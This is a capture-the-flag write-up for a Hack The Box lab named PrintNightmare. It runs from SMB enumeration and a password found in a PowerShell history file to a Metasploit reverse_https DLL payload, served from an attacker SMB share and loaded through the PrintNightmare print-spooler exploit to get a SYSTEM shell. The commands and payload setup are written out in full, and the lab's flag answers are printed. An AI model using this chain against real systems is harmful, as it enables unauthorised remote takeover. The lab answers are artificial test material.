

PrintNightmare

Link to the challenge: <https://enterprise.hackthebox.com/dedicated-lab-profile/machine/6691/417>

Written by Amit Goffer

Task 1: Submit the flag located on the pwnmeow user's desktop:

First – we ping the IP:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flg1n27zzt]-[~]
[*]$ ping 10.129.229.22
PING 10.129.229.22 (10.129.229.22) 56(84) bytes of data.
64 bytes from 10.129.229.22: icmp_seq=1 ttl=127 time=295 ms
64 bytes from 10.129.229.22: icmp_seq=2 ttl=127 time=295 ms
64 bytes from 10.129.229.22: icmp_seq=3 ttl=127 time=295 ms
^C
--- 10.129.229.22 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
```

We got ping.

The next objective is to determine what services are running on the machine. We will use Nmap to achieve that:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flg1n27zzt]-[~]
[*]$ nmap 10.129.229.22 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-05 17:55 GMT
Nmap scan report for 10.129.229.22
Host is up (0.30s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

We can observe that the machine is a Windows machine, and its running 3 services:

The first – msrpc service on port 135.

The msrpc protocol purpose is to allow client to call a service on a remote server with a standard interface.

The second protocol is netbios-ssn, operating on port 139.

Its purpose is to establish Session service for connection-oriented communication.

The third protocol is "microsoft-ds?", aka SMB (Server Message Block) operating on port 445.

Its purpose is to allow applications and computers to read and write to files and to request services from server programs in a computer network.

We will examine the third protocol further.

Currently a way to determine the protocol's version in order to utilize various vulnerabilities of the version, was not found.

But we can use smb and the tool 'crackmapexec' to determine the used Windows version with the command 'crackmapexec smb <machine's IP>:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flgln27zzt]-[~]  
[*]$ crackmapexec smb 10.129.229.22  
SMB 10.129.229.22 445 PRINTNIGHTMARE [*] Windows 10.0 Build 17763  
x64 (name:PRINTNIGHTMARE) (domain:PrintNightmare) (signing:False) (SMBv1:False)
```

The machine OS is windows 10, architecture x64.

It's also named 'PRINTNIGHTMARE', which serves as a hint as it is also the name of a known vulnerability, and challenge's name.

Now to exploit protocol vulnerabilities, its version has to be determined.

Currently all attempts to determine what SMB version the machine uses were futile. So the next vector of investigation is to attempt to access the machine with the protocol itself:

```
[*]$ smbclient 10.129.229.22  
Password for [WORKGROUP\amit9676]:
```

Attempting to access the SMB machine itself will result in it requesting password for our user.

But we do not have a user.

To bypass this – we can request the available SMB shares, as guest users:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flg1n27zzt]-[~]  
[*]$ smbclient -N -L 10.129.229.22  
  
      Sharename      Type      Comment  
      -  
ADMIN$      Disk      Remote Admin  
C$          Disk      Default share  
IPC$        IPC       Remote IPC  
pwnmeow     Disk  
Users       Disk  
SMB1 disabled -- no workgroup available  
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flg1n27zzt]-[~]  
[*]$
```

We used 2 flags: -L to list available shares, and -N to log in as guests, without the need for authentication.

We will attempt to access 'pwnmeow' sharename with the command: "smbclient //10.129.229.22/pwnmeow -N" where -N is guest user flag.

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flg1n27zzt]-[~]  
[*]$ smbclient //10.129.229.22/pwnmeow -N  
Try "help" to get a list of possible commands.  
smb: \>
```

We're in! time to locate the flag, its probably hidden in some txt file. But where?

The task instructs us to look within the desktop:

```
smb: \> cd Desktop  
smb: \Desktop\> ls  
  
      .                DR          0  Mon Nov 15 18:11:29 2021  
      ..               DR          0  Mon Nov 15 18:11:29 2021  
      backup_registry.reg  A      3032630  Mon Nov 15 18:11:24 2021  
      desktop.ini         AHS       282    Sun Nov 14 20:35:00 2021  
      user.txt            A         32    Fri Nov 26 14:44:04 2021
```

User.txt looks interesting. Lets download it from the smb machine to our machine with the command 'get user.txt':

```
smb: \Desktop\> get user.txt  
getting file \Desktop\user.txt of size 32 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
```

Now we will check our machine home directory to the received file:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flgln27zzt]-[~]  
[*]$ ls  
Desktop  my_data  Templates  user.txt  v_find
```

Get the flag:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flgln27zzt]-[~]  
[*]$ cat user.txt  
2697f983dc1876f7689f8ba872c3f1cd [us-dedicated-65-dhcp]-[10.10.14.11]
```

Task 2: Submit the flag located on the administrator's desktop:

First – we will access the pwnmeow fileshare just like we did in the first task:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-flgln27zzt]-[~]  
[*]$ smbclient //10.129.229.22/pwnmeow -N  
Try "help" to get a list of possible commands.  
smb: \>
```

Now, within a fileshare, or a machine – the powershell log file might be some use – we will extract it. After quick google we can observe it is located in the following path:

‘AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine’:

```
smb: \> cd AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine  
smb: \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\> ls  
.  
..  
ConsoleHost_history.txt  
3790847 blocks of size 4096. 1162056 blocks available  
smb: \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\>
```

We accessed the directory and found the file ‘ConsoleHost_history.txt’.

Lets download it:

```
smb: \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\> get ConsoleHost_history.txt  
getting file \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt of size 164 as ConsoleHost_history.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
```

After we downloaded the file – lets read it:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-cod7z1gfnp]-[~]  
[*]$ ls  
ConsoleHost_history.txt  Desktop  my_data  Templates  
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-cod7z1gfnp]-[~]  
[*]$ cat ConsoleHost_history.txt  
Get-FileHash .\Desktop\user.txt -Algorithm md5  
whoami  
winvnc -install -user pwnmeow -p "@Qwerty1" -run  
Get-Process  
Get-OdbcDsn  
Get-OffloadDataTransferSetting  
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-cod7z1gfnp]-[~]  
[*]$
```

We can observe that the 'pwnmeow' user installed some service with his username and password – so now we have his password.

Now we will use the recently obtained credentials to device an attack on the target system based on the 'Print nightmare' vulnerability.

The plan is the following: First - we will device the payload with Metasploit, targeted to attacker LHOST (10.10.14.11), LPORT 443 and based on 'windows/x64/meterpreter/reverse_https' exploit.

The payload will be generated as dll with the command: 'generate -f dll -o reverse_shell.dll'

```
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> use windows/x64/meterpreter/reverse_https  
[msf](Jobs:0 Agents:0) payload(windows/x64/meterpreter/reverse_https) >> set LHOST 10.10.14.11  
LHOST => 10.10.14.11  
[msf](Jobs:0 Agents:0) payload(windows/x64/meterpreter/reverse_https) >> set LPORT 443  
LPORT => 443  
[msf](Jobs:0 Agents:0) payload(windows/x64/meterpreter/reverse_https) >> generate -f dll -o reverse_shell.dll  
[*] Writing 9216 bytes to reverse_shell.dll...
```

Then - The payload has to be stored on shared folder, accessible via smb server we will initiate. Full guide how to create smb server in linux can be found [here](#). (I will NOT rewrite the used steps to create smb server in this report).

In addition for the guide in the mentioned video – in the '/etc/samba/smb.conf' configuration file of the service, add the configuration of 'guest ok = yes':

```
[shared_folder]
  path = /home/sambauser/shared_folder
  readonly = no
  guest ok = yes
  inherit permission = yes
```

That is necessary in order to make the shared accessible via guest user (-N flag) of smbclient command. The purpose of which shall be described later on.

To the newly made shared_folder – move the generated reverse_shell.dll payload:

```
–[us-dedicated-65-dhcp]–[10.10.14.11]–[amit9676@htb-7d4mtlau4w]–[~]
→ [*]$ sudo cp reverse_shell.dll ../sambauser/shared_folder/reverse_shell.dll
```

It is recommended to test the locally made smb server with the command 'smbclient //<local ip address>/shared_folder -N' before proceeding.

```
[us-dedicated-65-dhcp]–[10.10.14.11]–[amit9676@htb-7d4mtlau4w]–[~]
→ [*]$ smbclient //10.10.14.11/shared_folder -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0   Wed Feb  7 01:00:31 2024
..               D            0   Tue Feb  6 23:29:25 2024
reverse_shell.dll N       9216   Wed Feb  7 00:25:23 2024
Trash            47293308 blocks of size 1024. 19718356 blocks available
```

If the reverse_shell.dll is accessible from the smbclient – everything is working as expected.

This step is necessary – as the target will have to access the attacker machine's locally stored reverse_shell.dll payload, so setting smb server in our attacker machine is necessary to make it accessible to the target machine.

For the next step we will use Metasploit with the command 'sudo msfconsole' to initiate listener for the reverse shell. The listener will run on local IP, https port 443, and set to reverse_https payload:

```
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 10.10.14.11
LHOST => 10.10.14.11
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 443
LPORT => 443
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload Interrupt: use the 'exit' command to quit
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
```

After we are finished – we run it, and wait for the reverse shell to arrive (shortly):

```
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
amit9676's Home
[*] Started HTTPS reverse handler on https://10.10.14.11:443
```

*note – Metasploit has to be executed with sudo, else it won't run.

Now – we need to use the 'print nightmare' exploit – we will run the exploit with the target machine IP as the target, the exploit script will execute and make the target machine access and execute our reverse_shell.dll payload, and that will grant us reverse shell access to the machine with full system privileges.

The 'print nightmare' script used can be found [here](#).

We will clone the github repository to our attacker machine.

Then, the optional step is to move the python script from the repository to the user's home directory (~), I also renamed it to 'pnm2.py' due to convenience purposes.

Run the script with this command: 'sudo python3 pnm2.py -u pwnmeow -p @Qwerty1 --local-auth --remote-dll '\\10.10.14.11\shared_folder\reverse_shell.dll' 10.129.229.26'

Where: 'pwnmeow' is the obtained username.

'@Qwerty1' is the obtained password.

'10.10.14.11' is the attacker machine IP.

'10.129.229.26' is the target machine ip.

This is the script execution window:

```
[us-dedicated-65-dhcp]-[10.10.14.11]-[amit9676@htb-7d4mtlau4w]-[~]
[*]$ sudo python3 pnm2.py -u pwnmeow -p @Qwerty1 --local-auth --remote-dll
'\\10.10.14.11\shared_folder\reverse_shell.dll' 10.129.229.26
[*] starting PrintNightmare PoC
[*] Using remote payload at \\10.10.14.11\shared_folder\reverse_shell.dll

[*] Attempting target: 10.129.229.26
[*] Connecting to ncacn_np:10.129.229.26[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_
_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \\??\UNC\10.10.14.11\shared_folder\reverse_shell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
[-] Exploit returned: SMB SessionError: STATUS_PIPE_CLOSING(The specified named
pipe is in the closing state.)
```

Pay attention that the target machine accesses the 'reverse_shell.dll' in the attacker's machine, on the smb shared folder. This is where the guest user access (-N flag) becomes necessary – as the target machine accesses the attacker smb server as guest user.

Now we shall observe the Metasploit running listener:

```
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started HTTPS reverse handler on https://10.10.14.11:443
[!] https://10.10.14.11:443 handling request from 10.129.229.26; (UUID: htyhhwp6) Without a database connected
that payload UUID tracking will not work!
[*] https://10.10.14.11:443 handling request from 10.129.229.26; (UUID: htyhhwp6) Staging x64 payload (201820
bytes) ...
[!] https://10.10.14.11:443 handling request from 10.129.229.26; (UUID: htyhhwp6) Without a database connected
that payload UUID tracking will not work!
whoami
[*] Meterpreter session 1 opened (10.10.14.11:443 -> 10.129.229.26:49676) at 2024-02-07 00:30:53 +0000
```

Reverse shell is acquired! Now we have to work our way to the flag, located on administrator/Desktop folder.

Our default windows folder is 'C:\Windows\system32':

```
(Meterpreter 1)(C:\Windows\system32) > cd ..
(Meterpreter 1)(C:\Windows) > cd ..
(Meterpreter 1)(C:\) > ls
```

We will work our way to the C:\ path, then run ls to list the folder's content:

```

040555/r-xr-xr  4096  dir    2021-11-14 20:34:57 +00  Users
-x
040777/rwxrwxr  16384 dir    2021-11-24 11:46:59 +00  Windows
wx
000000/------  0      fif    1970-01-01 01:00:00 +01  pagefile.sys
--
00
(Meterpreter 1)(C:\) > cd Users
(Meterpreter 1)(C:\Users) > ls

```

We can observe that 'Users' folder is located there. We enter it and run ls again:

```

Listing: C:\Users
=====
Mode                Size      Type      Last modified          Name
-----
040777/rwxrwxrwx  0        dir       2021-11-13 10:12:44 +0000 Administrator
040777/rwxrwxrwx  0        dir       2018-09-15 08:28:48 +0100 All Users
040555/r-xr-xr-x  0        dir       2021-11-13 18:12:11 +0000 Default
040777/rwxrwxrwx  0        dir       2018-09-15 08:28:48 +0100 Default User
040555/r-xr-xr-x  4096     dir       2021-11-13 10:12:44 +0000 Public
100666/rw-rw-rw-  174      fil       2018-09-15 08:16:48 +0100 desktop.ini
040777/rwxrwxrwx  0        dir       2021-11-14 20:35:00 +0000 pwnmeow

```

It is the Administrator folder we are interested:

```

(Meterpreter 1)(C:\Users) > cd Administrator
(Meterpreter 1)(C:\Users\Administrator) > ls
Listing: C:\Users\Administrator
=====
Mode                Size      Type      Last modified          Name
-----
040555/r-xr-xr  0        dir       2021-11-13 10:12:44 +00  3D Objects
-x
040777/rwxrwxr  0        dir       2021-11-13 10:12:40 +00  AppData
wx
040777/rwxrwxr  0        dir       2021-11-13 10:12:40 +00  Application Data
wx
040555/r-xr-xr  0        dir       2021-11-13 10:12:44 +00  Contacts
-x
040777/rwxrwxr  0        dir       2021-11-13 10:12:40 +00  Cookies
wx
040555/r-xr-xr  0        dir       2021-11-16 19:52:57 +00  Desktop

```

It is the desktop folder we are interested:

```

(Meterpreter 1)(C:\Users\Administrator) > cd Desktop
(Meterpreter 1)(C:\Users\Administrator\Desktop) > ls
Listing: C:\Users\Administrator\Desktop
=====
Mode                Size      Type      Last modified          Name
-----
100666/rw-rw-rw-  282      fil       2021-11-13 10:12:44 +0000 desktop.ini
100666/rw-rw-rw-  32       fil       2021-11-16 19:59:26 +0000 root.txt

```

Now cat the root.txt:

```
(Meterpreter 1)(C:\Users\Administrator\Desktop) > cat root.txt  
1597f983dc1876f7689f8ba872c3f1cd(Meterpreter 1)(C:\Users\Administrator\Desktop) >
```

And we got the flag!

Flag: 1597f983dc1876f7689f8ba872c3f1cd